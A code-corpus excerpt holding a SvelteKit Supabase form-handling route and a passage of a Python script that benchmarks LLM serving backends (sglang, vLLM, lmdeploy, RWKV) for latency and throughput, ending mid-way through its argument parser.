"qsc_codec_score_lines_no_logic": 0.00018815, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.00150517} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 1, "qsc_code_frac_chars_top_3grams": 1, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 1, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
00jacs/sveltekit-ultrafast | src/routes/database-example/+page.server.ts | import { supabase } from '$lib/supabase';
import { fail, type Actions } from '@sveltejs/kit';
import { logger } from '$lib/utils/logger';
import z from 'zod';
import { zfd } from 'zod-form-data';
import { formDataToObject } from '$lib/utils/form';
export async function load() {
// The requests are fully typed (no need to cast the response)
// unless you did not generate the "database.d.ts" file yet (see docs.md).
const { data } = await supabase.from('countries').select();
return {
countries: data ?? []
};
}
/**
* VALIDATION: Validation schema for the form data.
* The zod-form-data package is used to validate the form data.
* But you can use any other validation library.
* This helps to ensure that the data is valid before it is sent to the database.
* This could be done on the client-side as well, but for simplicity
* and for the purpose of rapid development, it is done only here.
*/
const CountryCreateSchema = zfd.formData({
name: zfd.text(z.string().min(2, 'Name must be at least 2 characters long')),
iso2: zfd.text(z.string().length(2, 'ISO2 must be exactly 2 characters long')),
iso3: zfd.text(z.string().length(3, 'ISO3 must be exactly 3 characters long'))
});
type CountryCreateSchema = z.infer<typeof CountryCreateSchema>;
export const actions: Actions = {
createCountry: async ({ request }) => {
const formData = await request.formData();
let newCountry: CountryCreateSchema;
try {
newCountry = CountryCreateSchema.parse(formData);
} catch (e) {
logger.info('[database-example] Invalid form data: ', e);
return fail(400, {
message: 'Invalid form data',
errors: e instanceof z.ZodError ? e.flatten() : null,
formData: formDataToObject<CountryCreateSchema>(formData)
});
}
const { data, error } = await supabase
.from('countries')
.insert({ ...newCountry })
.select();
if (error) {
// probably need to make the message more user-friendly
logger.info('[database-example] Could not create the country: ', error);
return fail(400, {
message: error.message,
errors: null,
formData: formDataToObject<CountryCreateSchema>(formData)
});
}
logger.success('[database-example] Country created successfully: ', data);
return { success: true };
}
};
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00ffcc/conRWKV | conRWKV/benchmark/benchmark.py | # Modify from https://github.com/sgl-project/sglang/blob/main/python/sglang/bench_serving.py # noqa
# Adapted from https://github.com/vllm-project/vllm/blob/6366efc67b0aedd2c1721c14385370e50b297fb3/benchmarks/backend_request_func.py # noqa
# Adapted from https://github.com/vllm-project/vllm/blob/6366efc67b0aedd2c1721c14385370e50b297fb3/benchmarks/benchmark_serving.py # noqa
# 2025.01.26 Adapted from https://github.com/InternLM/lmdeploy/blob/main/benchmark/profile_restful_api.py
"""Benchmark online serving with dynamic requests.
Usage:
python3 -m sglang.bench_serving --backend sglang --num-prompt 10
python3 -m sglang.bench_serving --backend sglang --dataset-name random --num-prompts 3000 --random-input 1024 --random-output 1024 --random-range-ratio 0.5
python3 -m sglang.bench_serving --backend sglang --dataset-name random --request-rate-range 1,2,4,8,16,32 --random-input 4096 --random-output 1024 --random-range-ratio 0.125 --multi
""" # noqa
import argparse
import asyncio
import json
import os
import random
import resource
import sys
import time
import traceback
import warnings
from argparse import ArgumentParser
from dataclasses import dataclass, field
from datetime import datetime
from typing import Any, AsyncGenerator, Dict, List, Optional, Tuple, Union
import aiohttp
import numpy as np
import requests
from tqdm.asyncio import tqdm
from transformers import AutoTokenizer, PreTrainedTokenizer, PreTrainedTokenizerBase, PreTrainedTokenizerFast
AIOHTTP_TIMEOUT = aiohttp.ClientTimeout(total=6 * 60 * 60)
global args
@dataclass
class RequestFuncInput:
prompt: str
api_url: str
prompt_len: int
output_len: int
model: str
extra_request_body: Dict[str, Any]
@dataclass
class RequestFuncOutput:
generated_text: str = ''
success: bool = False
latency: float = 0.0
ttft: float = 0.0 # Time to first token
itl: List[float] = field(default_factory=list) # List of inter-token latencies
prompt_len: int = 0
error: str = ''
output_len: int = 0
def remove_prefix(text: str, prefix: str) -> str:
return text[len(prefix):] if text.startswith(prefix) else text
# trt llm not support ignore_eos
# https://github.com/triton-inference-server/tensorrtllm_backend/issues/505
async def async_request_trt_llm(
request_func_input: RequestFuncInput,
pbar: Optional[tqdm] = None,
) -> RequestFuncOutput:
api_url = request_func_input.api_url
assert api_url.endswith('generate_stream')
async with aiohttp.ClientSession(timeout=AIOHTTP_TIMEOUT) as session:
payload = {
'accumulate_tokens': True,
'text_input': request_func_input.prompt,
'temperature': 0.000001,
'top_p': 1.0,
'max_tokens': request_func_input.output_len,
'stream': True,
'min_length': request_func_input.output_len,
'end_id': 1048576,
**request_func_input.extra_request_body,
}
if args.disable_ignore_eos:
del payload['min_length']
del payload['end_id']
output = RequestFuncOutput()
output.prompt_len = request_func_input.prompt_len
ttft = 0.0
st = time.perf_counter()
most_recent_timestamp = st
try:
async with session.post(url=api_url, json=payload) as response:
if response.status == 200:
async for chunk_bytes in response.content:
chunk_bytes = chunk_bytes.strip()
if not chunk_bytes:
continue
chunk = remove_prefix(chunk_bytes.decode('utf-8'), 'data:')
data = json.loads(chunk)
output.generated_text += data['text_output']
timestamp = time.perf_counter()
# First token
if ttft == 0.0:
ttft = time.perf_counter() - st
output.ttft = ttft
# Decoding phase
else:
output.itl.append(timestamp - most_recent_timestamp)
most_recent_timestamp = timestamp
output.latency = most_recent_timestamp - st
output.success = True
output.output_len = request_func_input.output_len
else:
output.error = response.reason or ''
output.success = False
except Exception:
output.success = False
exc_info = sys.exc_info()
output.error = ''.join(traceback.format_exception(*exc_info))
if pbar:
pbar.update(1)
return output
# set ignore_eos True by default
async def async_request_openai_completions(
request_func_input: RequestFuncInput,
pbar: Optional[tqdm] = None,
) -> RequestFuncOutput:
api_url = request_func_input.api_url
assert api_url.endswith('completions'), "OpenAI Completions API URL must end with 'completions'."
prompt = request_func_input.prompt
async with aiohttp.ClientSession(timeout=AIOHTTP_TIMEOUT) as session:
payload = {
'model': request_func_input.model,
'prompt': prompt,
'temperature': 0.0,
'best_of': 1,
'max_tokens': request_func_input.output_len,
'stream': not args.disable_stream,
'ignore_eos': not args.disable_ignore_eos,
**request_func_input.extra_request_body,
}
headers = {'Authorization': f"Bearer {os.environ.get('OPENAI_API_KEY')}"}
output = RequestFuncOutput()
output.prompt_len = request_func_input.prompt_len
generated_text = ''
ttft = 0.0
st = time.perf_counter()
most_recent_timestamp = st
try:
async with session.post(url=api_url, json=payload, headers=headers) as response:
if response.status == 200:
async for chunk_bytes in response.content:
chunk_bytes = chunk_bytes.strip()
if not chunk_bytes:
continue
chunk = remove_prefix(chunk_bytes.decode('utf-8'), 'data: ')
# print(chunk)
latency = time.perf_counter() - st
if chunk == '[DONE]':
pass
else:
data = json.loads(chunk)
# print(data)
# NOTE: Some completion API might have a last
# usage summary response without a token so we
# want to check a token was generated
if data['choices'][0]['text']:
timestamp = time.perf_counter()
# First token
if ttft == 0.0:
ttft = time.perf_counter() - st
output.ttft = ttft
# Decoding phase
else:
output.itl.append(timestamp - most_recent_timestamp)
most_recent_timestamp = timestamp
generated_text += data['choices'][0]['text']
output.generated_text = generated_text
output.success = True
output.latency = latency
output.output_len = request_func_input.output_len
else:
output.error = response.reason or ''
output.success = False
except Exception:
output.success = False
exc_info = sys.exc_info()
output.error = ''.join(traceback.format_exception(*exc_info))
if pbar:
pbar.update(1)
return output
async def async_request_sglang_generate(
request_func_input: RequestFuncInput,
pbar: Optional[tqdm] = None,
) -> RequestFuncOutput:
api_url = request_func_input.api_url
prompt = request_func_input.prompt
async with aiohttp.ClientSession(timeout=AIOHTTP_TIMEOUT) as session:
payload = {
'text': prompt,
'sampling_params': {
'temperature': 0.0,
'max_new_tokens': request_func_input.output_len,
'ignore_eos': not args.disable_ignore_eos,
},
'stream': not args.disable_stream,
**request_func_input.extra_request_body,
}
headers = {}
output = RequestFuncOutput()
output.prompt_len = request_func_input.prompt_len
generated_text = ''
ttft = 0.0
st = time.perf_counter()
most_recent_timestamp = st
try:
async with session.post(url=api_url, json=payload, headers=headers) as response:
if response.status == 200:
async for chunk_bytes in response.content:
chunk_bytes = chunk_bytes.strip()
if not chunk_bytes:
continue
# print(chunk_bytes)
chunk = remove_prefix(chunk_bytes.decode('utf-8'), 'data: ')
latency = time.perf_counter() - st
if chunk == '[DONE]':
pass
else:
data = json.loads(chunk)
# NOTE: Some completion API might have a last
# usage summary response without a token so we
# want to check a token was generated
if data['text']:
timestamp = time.perf_counter()
# First token
if ttft == 0.0:
ttft = time.perf_counter() - st
output.ttft = ttft
# Decoding phase
else:
output.itl.append(timestamp - most_recent_timestamp)
most_recent_timestamp = timestamp
generated_text = data['text']
output.generated_text = generated_text
output.success = True
output.latency = latency
output.output_len = request_func_input.output_len
else:
output.error = response.reason or ''
output.success = False
except Exception:
output.success = False
exc_info = sys.exc_info()
output.error = ''.join(traceback.format_exception(*exc_info))
if pbar:
pbar.update(1)
return output
async def async_request_gserver(
request_func_input: RequestFuncInput,
pbar: Optional[tqdm] = None,
) -> RequestFuncOutput:
raise NotImplementedError()
def get_model(pretrained_model_name_or_path: str) -> str:
if os.getenv('SGLANG_USE_MODELSCOPE', 'False').lower() == 'true':
import huggingface_hub.constants
from modelscope import snapshot_download
model_path = snapshot_download(
model_id=pretrained_model_name_or_path,
local_files_only=huggingface_hub.constants.HF_HUB_OFFLINE,
ignore_file_pattern=['.*.pt', '.*.safetensors', '.*.bin'],
)
return model_path
return pretrained_model_name_or_path
def get_tokenizer(pretrained_model_name_or_path: str, ) -> Union[PreTrainedTokenizer, PreTrainedTokenizerFast]:
from conRWKV.tokenizer.tokenization_rwkv_world import RWKVWorldTokenizer
import os
dir_path = os.path.dirname(os.path.abspath(__file__))
tokenizer=RWKVWorldTokenizer(vocab_file=rf"{dir_path}/../tokenizer/rwkv_vocab_v20230424.txt")
return tokenizer
ASYNC_REQUEST_FUNCS = {
'sglang': async_request_sglang_generate,
'sglang-native': async_request_sglang_generate,
'sglang-oai': async_request_openai_completions,
'vllm': async_request_openai_completions,
'lmdeploy': async_request_openai_completions,
'trt': async_request_trt_llm,
'gserver': async_request_gserver,
'conRWKV': async_request_openai_completions,
'RWKV-Runner': async_request_openai_completions,
'RWKV-Infer': async_request_openai_completions,
}
@dataclass
class BenchmarkMetrics:
completed: int
total_input: int
total_output: int
total_output_retokenized: int
request_throughput: float
input_throughput: float
output_throughput: float
output_throughput_retokenized: float
mean_ttft_ms: float
median_ttft_ms: float
std_ttft_ms: float
p99_ttft_ms: float
mean_tpot_ms: float
median_tpot_ms: float
std_tpot_ms: float
p99_tpot_ms: float
mean_itl_ms: float
median_itl_ms: float
std_itl_ms: float
p99_itl_ms: float
mean_e2e_latency_ms: float
median_e2e_latency_ms: float
SHAREGPT_URL = 'https://hf-mirror.com/datasets/anon8231489123/ShareGPT_Vicuna_unfiltered/resolve/main/ShareGPT_V3_unfiltered_cleaned_split.json' # noqa
def download_and_cache_file(url: str, filename: Optional[str] = None):
"""Read and cache a file from a url."""
if filename is None:
filename = os.path.join('/tmp', url.split('/')[-1])
# Check if the cache file already exists
if os.path.exists(filename):
return filename
print(f'Downloading from {url} to {filename}')
# Stream the response to show the progress bar
response = requests.get(url, stream=True)
response.raise_for_status() # Check for request errors
# Total size of the file in bytes
total_size = int(response.headers.get('content-length', 0))
chunk_size = 1024 # Download in chunks of 1KB
# Use tqdm to display the progress bar
with open(filename, 'wb') as f, tqdm(
desc=filename,
total=total_size,
unit='B',
unit_scale=True,
unit_divisor=1024,
) as bar:
for chunk in response.iter_content(chunk_size=chunk_size):
f.write(chunk)
bar.update(len(chunk))
return filename
def sample_sharegpt_requests(
dataset_path: str,
num_requests: int,
tokenizer: PreTrainedTokenizerBase,
fixed_output_len: Optional[int] = None,
) -> List[Tuple[str, int, int]]:
if fixed_output_len is not None and fixed_output_len < 4:
raise ValueError('output_len too small')
# Download sharegpt if necessary
if not os.path.isfile(dataset_path):
dataset_path = download_and_cache_file(SHAREGPT_URL)
# Load the dataset.
with open(dataset_path) as f:
dataset = json.load(f)
# Filter out the conversations with less than 2 turns.
dataset = [data for data in dataset if len(data['conversations']) >= 2]
# Only keep the first two turns of each conversation.
dataset = [(data['conversations'][0]['value'], data['conversations'][1]['value']) for data in dataset]
# Shuffle the dataset.
random.shuffle(dataset)
# Filter out sequences that are too long or too short
filtered_dataset: List[Tuple[str, int, int]] = []
for i in range(len(dataset)):
if len(filtered_dataset) == num_requests:
break
# Tokenize the prompts and completions.
prompt = dataset[i][0]
prompt_token_ids = tokenizer.encode(prompt)
completion = dataset[i][1]
completion_token_ids = tokenizer.encode(completion)
prompt_len = len(prompt_token_ids)
output_len = (len(completion_token_ids) if fixed_output_len is None else fixed_output_len)
if prompt_len < 4 or output_len < 4:
# Prune too short sequences.
continue
if prompt_len > 1024 or (prompt_len + output_len > 2048 and fixed_output_len is None):
# Prune too long sequences.
continue
filtered_dataset.append((prompt, prompt_len, output_len))
print(f'#Input tokens: {np.sum([x[1] for x in filtered_dataset])}')
print(f'#Output tokens: {np.sum([x[2] for x in filtered_dataset])}')
return filtered_dataset
def sample_random_requests(
input_len: int,
output_len: int,
num_prompts: int,
range_ratio: float,
tokenizer: PreTrainedTokenizerBase,
dataset_path: str,
) -> List[Tuple[str, int, int]]:
input_lens = np.random.randint(
max(int(input_len * range_ratio), 1),
input_len + 1,
size=num_prompts,
)
output_lens = np.random.randint(
int(output_len * range_ratio),
output_len + 1,
size=num_prompts,
)
if True:
# Sample token ids from ShareGPT and repeat/truncate them to
# satisfy the input_lens
# Download sharegpt if necessary
if not os.path.isfile(dataset_path):
dataset_path = download_and_cache_file(SHAREGPT_URL)
# Load the dataset.
with open(dataset_path) as f:
dataset = json.load(f)
# Filter out the conversations with less than 2 turns.
dataset = [data for data in dataset if len(data['conversations']) >= 2]
# Only keep the first two turns of each conversation.
dataset = [(data['conversations'][0]['value'], data['conversations'][1]['value']) for data in dataset]
# Shuffle the dataset.
random.shuffle(dataset)
# Filter out sequences that are too long or too short
input_requests: List[Tuple[str, int, int]] = []
for i in range(num_prompts):
# Tokenize the prompts and completions.
prompt = dataset[i][0]
prompt_token_ids = tokenizer.encode(prompt)
prompt_len = len(prompt_token_ids)
if prompt_len > input_lens[i]:
input_ids = prompt_token_ids[:input_lens[i]]
else:
ratio = (input_lens[i] + prompt_len - 1) // prompt_len
input_ids = (prompt_token_ids * ratio)[:input_lens[i]]
prompt = tokenizer.decode(input_ids)
input_requests.append((prompt, int(input_lens[i]), int(output_lens[i])))
else:
# Sample token ids from random integers.
# This can cause some NaN issues.
offsets = np.random.randint(0, tokenizer.vocab_size, size=num_prompts)
input_requests = []
for i in range(num_prompts):
prompt = tokenizer.decode([(offsets[i] + i + j) % tokenizer.vocab_size for j in range(input_lens[i])])
input_requests.append((prompt, int(input_lens[i]), int(output_lens[i])))
print(f'#Input tokens: {np.sum(input_lens)}')
print(f'#Output tokens: {np.sum(output_lens)}')
return input_requests
async def get_request(
input_requests: List[Tuple[str, int, int]],
request_rate: float,
) -> AsyncGenerator[Tuple[str, int, int], None]:
input_requests = iter(input_requests)
for request in input_requests:
yield request
if request_rate == float('inf'):
# If the request rate is infinity, then we don't need to wait.
continue
# Sample the request interval from the exponential distribution.
interval = np.random.exponential(1.0 / request_rate)
# The next request will be sent after the interval.
await asyncio.sleep(interval)
def calculate_metrics(
input_requests: List[Tuple[str, int, int]],
outputs: List[RequestFuncOutput],
dur_s: float,
tokenizer: PreTrainedTokenizerBase,
backend: str,
) -> Tuple[BenchmarkMetrics, List[int]]:
output_lens: List[int] = []
retokenized_output_lens: List[int] = []
total_input = 0
completed = 0
itls: List[float] = []
tpots: List[float] = []
ttfts: List[float] = []
e2e_latencies: List[float] = []
for i in range(len(outputs)):
if outputs[i].success:
output_len = outputs[i].output_len
output_lens.append(output_len)
retokenized_output_len = len(tokenizer.encode(outputs[i].generated_text, add_special_tokens=False))
retokenized_output_lens.append(retokenized_output_len)
total_input += input_requests[i][1]
if output_len > 1:
tpots.append((outputs[i].latency - outputs[i].ttft) / (output_len - 1))
itls += outputs[i].itl
ttfts.append(outputs[i].ttft)
e2e_latencies.append(outputs[i].latency)
completed += 1
else:
output_lens.append(0)
retokenized_output_lens.append(0)
if completed == 0:
warnings.warn(
'All requests failed. This is likely due to a misconfiguration '
'on the benchmark arguments.',
stacklevel=2,
)
metrics = BenchmarkMetrics(
completed=completed,
total_input=total_input,
total_output=sum(output_lens),
total_output_retokenized=sum(retokenized_output_lens),
request_throughput=completed / dur_s,
input_throughput=total_input / dur_s,
output_throughput=sum(output_lens) / dur_s,
output_throughput_retokenized=sum(retokenized_output_lens) / dur_s,
mean_ttft_ms=np.mean(ttfts or 0) * 1000, # ttfts is empty if streaming is not supported by backend
median_ttft_ms=np.median(ttfts or 0) * 1000,
std_ttft_ms=np.std(ttfts or 0) * 1000,
p99_ttft_ms=np.percentile(ttfts or 0, 99) * 1000,
mean_tpot_ms=np.mean(tpots or 0) * 1000,
median_tpot_ms=np.median(tpots or 0) * 1000,
std_tpot_ms=np.std(tpots or 0) * 1000,
p99_tpot_ms=np.percentile(tpots or 0, 99) * 1000,
mean_itl_ms=np.mean(itls or 0) * 1000,
median_itl_ms=np.median(itls or 0) * 1000,
std_itl_ms=np.std(itls or 0) * 1000,
p99_itl_ms=np.percentile(itls or 0, 99) * 1000,
mean_e2e_latency_ms=np.mean(e2e_latencies) * 1000,
median_e2e_latency_ms=np.median(e2e_latencies) * 1000,
)
return metrics, output_lens
async def benchmark(
backend: str,
api_url: str,
model_id: str,
tokenizer: PreTrainedTokenizerBase,
input_requests: List[Tuple[str, int, int]],
request_rate: float,
disable_tqdm: bool,
extra_request_body: Dict[str, Any],
):
if backend in ASYNC_REQUEST_FUNCS:
request_func = ASYNC_REQUEST_FUNCS[backend]
else:
raise ValueError(f'Unknown backend: {backend}')
print('Starting initial single prompt test run...')
test_prompt, test_prompt_len, test_output_len = input_requests[0]
test_input = RequestFuncInput(
model=model_id,
prompt=test_prompt,
api_url=api_url,
prompt_len=test_prompt_len,
output_len=test_output_len,
extra_request_body=extra_request_body,
)
test_output = await request_func(request_func_input=test_input)
if not test_output.success:
raise ValueError('Initial test run failed - Please make sure benchmark arguments '
f'are correctly specified. Error: {test_output.error}')
else:
print('Initial test run completed. Starting main benchmark run...')
time.sleep(1.5)
pbar = None if disable_tqdm else tqdm(total=len(input_requests))
benchmark_start_time = time.perf_counter()
tasks: List[asyncio.Task] = []
async for request in get_request(input_requests, request_rate):
prompt, prompt_len, output_len = request
request_func_input = RequestFuncInput(
model=model_id,
prompt=prompt,
api_url=api_url,
prompt_len=prompt_len,
output_len=output_len,
extra_request_body=extra_request_body,
)
tasks.append(asyncio.create_task(request_func(request_func_input=request_func_input, pbar=pbar)))
outputs: List[RequestFuncOutput] = await asyncio.gather(*tasks)
if pbar is not None:
pbar.close()
benchmark_duration = time.perf_counter() - benchmark_start_time
metrics, output_lens = calculate_metrics(
input_requests=input_requests,
outputs=outputs,
dur_s=benchmark_duration,
tokenizer=tokenizer,
backend=backend,
)
print('\n{s:{c}^{n}}'.format(s=' Serving Benchmark Result ', n=50, c='='))
print('{:<40} {:<10}'.format('Backend:', backend))
print('{:<40} {:<10}'.format('Traffic request rate:', request_rate))
print('{:<40} {:<10}'.format('Successful requests:', metrics.completed))
print('{:<40} {:<10.2f}'.format('Benchmark duration (s):', benchmark_duration))
print('{:<40} {:<10}'.format('Total input tokens:', metrics.total_input))
print('{:<40} {:<10}'.format('Total generated tokens:', metrics.total_output))
print('{:<40} {:<10}'.format('Total generated tokens (retokenized):', metrics.total_output_retokenized))
print('{:<40} {:<10.2f}'.format('Request throughput (req/s):', metrics.request_throughput))
print('{:<40} {:<10.2f}'.format('Input token throughput (tok/s):', metrics.input_throughput))
print('{:<40} {:<10.2f}'.format('Output token throughput (tok/s):', metrics.output_throughput))
print('{s:{c}^{n}}'.format(s='End-to-End Latency', n=50, c='-'))
print('{:<40} {:<10.2f}'.format('Mean E2E Latency (ms):', metrics.mean_e2e_latency_ms))
print('{:<40} {:<10.2f}'.format('Median E2E Latency (ms):', metrics.median_e2e_latency_ms))
print('{s:{c}^{n}}'.format(s='Time to First Token', n=50, c='-'))
print('{:<40} {:<10.2f}'.format('Mean TTFT (ms):', metrics.mean_ttft_ms))
print('{:<40} {:<10.2f}'.format('Median TTFT (ms):', metrics.median_ttft_ms))
print('{:<40} {:<10.2f}'.format('P99 TTFT (ms):', metrics.p99_ttft_ms))
print('{s:{c}^{n}}'.format(s='Time per Output Token (excl. 1st token)', n=50, c='-'))
print('{:<40} {:<10.2f}'.format('Mean TPOT (ms):', metrics.mean_tpot_ms))
print('{:<40} {:<10.2f}'.format('Median TPOT (ms):', metrics.median_tpot_ms))
print('{:<40} {:<10.2f}'.format('P99 TPOT (ms):', metrics.p99_tpot_ms))
print('{s:{c}^{n}}'.format(s='Inter-token Latency', n=50, c='-'))
print('{:<40} {:<10.2f}'.format('Mean ITL (ms):', metrics.mean_itl_ms))
print('{:<40} {:<10.2f}'.format('Median ITL (ms):', metrics.median_itl_ms))
print('{:<40} {:<10.2f}'.format('P99 ITL (ms):', metrics.p99_itl_ms))
print('=' * 50)
if (metrics.median_ttft_ms is not None and metrics.mean_itl_ms is not None
and metrics.output_throughput is not None):
result = {
'backend': args.backend,
'dataset_name': args.dataset_name,
'request_rate': request_rate,
'total_input_tokens': metrics.total_input,
'total_output_tokens': metrics.total_output,
'total_output_tokens_retokenized': metrics.total_output_retokenized,
'mean_e2e_latency_ms': metrics.mean_e2e_latency_ms,
'median_e2e_latency_ms': metrics.median_e2e_latency_ms,
'median_ttft_ms': metrics.median_ttft_ms,
'median_itl_ms': metrics.median_itl_ms,
'output_throughput': metrics.output_throughput,
'sharegpt_output_len': args.sharegpt_output_len,
'random_input_len': args.random_input_len,
'random_output_len': args.random_output_len,
'random_range_ratio': args.random_range_ratio,
'duration': benchmark_duration,
'completed': metrics.completed,
}
else:
print(f'Error running benchmark for request rate: {request_rate}')
print('-' * 30)
# Determine output file name
if args.output_file:
output_file_name = args.output_file
else:
now = datetime.now().strftime('%m%d')
if args.dataset_name == 'random':
output_file_name = f'{args.backend}_{now}_{args.num_prompts}_{args.random_input_len}_{args.random_output_len}.jsonl' # noqa
else:
output_file_name = f'{args.backend}_{now}_{args.num_prompts}_sharegpt.jsonl' # noqa
# Append results to a JSONL file
with open(output_file_name, 'a') as file:
file.write(json.dumps(result) + '\n')
result = {
'duration': benchmark_duration,
'completed': metrics.completed,
'total_input_tokens': metrics.total_input,
'total_output_tokens': metrics.total_output,
'total_output_tokens_retokenized': metrics.total_output_retokenized,
'request_throughput': metrics.request_throughput,
'input_throughput': metrics.input_throughput,
'output_throughput': metrics.output_throughput,
'mean_ttft_ms': metrics.mean_ttft_ms,
'median_ttft_ms': metrics.median_ttft_ms,
'std_ttft_ms': metrics.std_ttft_ms,
'p99_ttft_ms': metrics.p99_ttft_ms,
'mean_tpot_ms': metrics.mean_tpot_ms,
'median_tpot_ms': metrics.median_tpot_ms,
'std_tpot_ms': metrics.std_tpot_ms,
'p99_tpot_ms': metrics.p99_tpot_ms,
'mean_itl_ms': metrics.mean_itl_ms,
'median_itl_ms': metrics.median_itl_ms,
'std_itl_ms': metrics.std_itl_ms,
'p99_itl_ms': metrics.p99_itl_ms,
'input_lens': [output.prompt_len for output in outputs],
'output_lens': output_lens,
'ttfts': [output.ttft for output in outputs],
'itls': [output.itl for output in outputs],
'generated_texts': [output.generated_text for output in outputs],
'errors': [output.error for output in outputs],
'mean_e2e_latency_ms': metrics.mean_e2e_latency_ms,
'median_e2e_latency_ms': metrics.median_e2e_latency_ms,
}
return result
def parse_request_rate_range(request_rate_range):
if len(request_rate_range.split(',')) == 3:
start, stop, step = map(int, request_rate_range.split(','))
return list(range(start, stop, step))
else:
return list(map(int, request_rate_range.split(',')))
def check_chat_template(model_path):
try:
tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
return 'chat_template' in tokenizer.init_kwargs
except Exception as e:
print(f'Fail to load tokenizer config with error={e}')
return False
def run_benchmark(args_: argparse.Namespace):
global args
args = args_
# Set global environments
set_ulimit()
random.seed(args.seed)
np.random.seed(args.seed)
extra_request_body = {}
if args.extra_request_body:
extra_request_body = json.loads(args.extra_request_body)
# Set url
if args.port is None:
args.port = {
'sglang': 30000,
'sglang-native': 30000,
'sglang-oai': 30000,
'lmdeploy': 23333,
'vllm': 8000,
'trt': 8000,
'gserver': 9988,
'conRWKV': 8000,
'RWKV-Runner': 8000,
'RWKV-Infer': 9000,
}.get(args.backend, 30000)
model_url = (f'{args.base_url}/v1/models' if args.base_url else f'http://{args.host}:{args.port}/v1/models')
if args.backend in ['sglang', 'sglang-native']:
api_url = (f'{args.base_url}/generate' if args.base_url else f'http://{args.host}:{args.port}/generate')
elif args.backend in ['sglang-oai', 'vllm', 'lmdeploy', 'RWKV-Runner', 'conRWKV', 'RWKV-Infer']:
api_url = (f'{args.base_url}/v1/completions'
if args.base_url else f'http://{args.host}:{args.port}/v1/completions')
elif args.backend == 'trt':
api_url = (
f'{args.base_url}/v2/models/ensemble/generate_stream'
if args.base_url else f'http://{args.host}:{args.port}/v2/models/ensemble/generate_stream' # noqa
)
if args.model is None:
print('Please provide a model using `--model` when using '
'`trt` backend.')
sys.exit(1)
elif args.backend == 'gserver':
api_url = args.base_url if args.base_url else \
f'{args.host}:{args.port}'
args.model = args.model or 'default'
# Get model name
if args.model is None:
try:
response = requests.get(model_url)
model_list = response.json().get('data', [])
args.model = model_list[0]['id'] if model_list else None
except Exception as e:
print(f'Failed to fetch model from {model_url}. Error: {e}')
print('Please specify the correct host and port using '
'`--host` and `--port`.')
sys.exit(1)
if args.model is None:
print('No model specified or found. Please provide a model '
'using `--model`.')
sys.exit(1)
if not check_chat_template(args.model):
print('\nWARNING It is recommended to use the `Chat` or `Instruct` '
'model for benchmarking.\n'
'Because when the tokenizer counts the output tokens, if '
'there is gibberish, it might count incorrectly.\n')
print(f'{args}\n')
# Read dataset
backend = args.backend
model_id = args.model
tokenizer_id = args.tokenizer if args.tokenizer is not None else args.model
tokenizer = get_tokenizer(tokenizer_id)
if args.dataset_name == 'sharegpt':
assert args.random_input_len is None and args.random_output_len is None
input_requests = sample_sharegpt_requests(
dataset_path=args.dataset_path,
num_requests=args.num_prompts,
tokenizer=tokenizer,
fixed_output_len=args.sharegpt_output_len,
)
elif args.dataset_name == 'random':
assert args.random_input_len is not None and \
args.random_output_len is not None
input_requests = sample_random_requests(
input_len=args.random_input_len,
output_len=args.random_output_len,
num_prompts=args.num_prompts,
range_ratio=args.random_range_ratio,
tokenizer=tokenizer,
dataset_path=args.dataset_path,
)
else:
raise ValueError(f'Unknown dataset: {args.dataset_name}')
if not args.multi:
return asyncio.run(
benchmark(
backend=backend,
api_url=api_url,
model_id=model_id,
tokenizer=tokenizer,
input_requests=input_requests,
request_rate=args.request_rate,
disable_tqdm=args.disable_tqdm,
extra_request_body=extra_request_body,
))
else:
# Benchmark multiple rps.
# TODO: use a fixed duration to compute num_prompts
request_rates = parse_request_rate_range(args.request_rate_range)
for rate in request_rates:
asyncio.run(
benchmark(
backend=backend,
api_url=api_url,
model_id=model_id,
tokenizer=tokenizer,
input_requests=input_requests,
request_rate=rate,
disable_tqdm=args.disable_tqdm,
extra_request_body=extra_request_body,
))
def set_ulimit(target_soft_limit=65535):
resource_type = resource.RLIMIT_NOFILE
current_soft, current_hard = resource.getrlimit(resource_type)
if current_soft < target_soft_limit:
try:
resource.setrlimit(resource_type, (target_soft_limit, current_hard))
except ValueError as e:
print(f'Fail to set RLIMIT_NOFILE: {e}')
if __name__ == '__main__':
parser = ArgumentParser(description='Benchmark the online serving throughput.')
parser.add_argument(
'--backend',
type=str,
choices=list(ASYNC_REQUEST_FUNCS.keys()),
default='conRWKV',
help='Must specify a backend, depending on the LLM Inference Engine.',
)
parser.add_argument(
'--base-url',
type=str,
default=None,
help='Server or API base url if not using http host and port.',
)
parser.add_argument('--host', type=str, default='0.0.0.0', help='Default host is 0.0.0.0.')
parser.add_argument(
'--port',
type=int,
help='If not set, the default port is configured according to its '
'default value for different LLM Inference Engines.',
)
parser.add_argument(
'--dataset-name',
type=str,
default='sharegpt',
choices=['sharegpt', 'random'],
help='Name of the dataset to benchmark on.',
)
parser.add_argument('--dataset-path', type=str, default='', help='Path to the dataset.')
parser.add_argument(
'--model',
type=str,
help='Name or path of the model. If not set, the default model will '
'request /v1/models for conf.',
)
parser.add_argument(
'--tokenizer',
type=str,
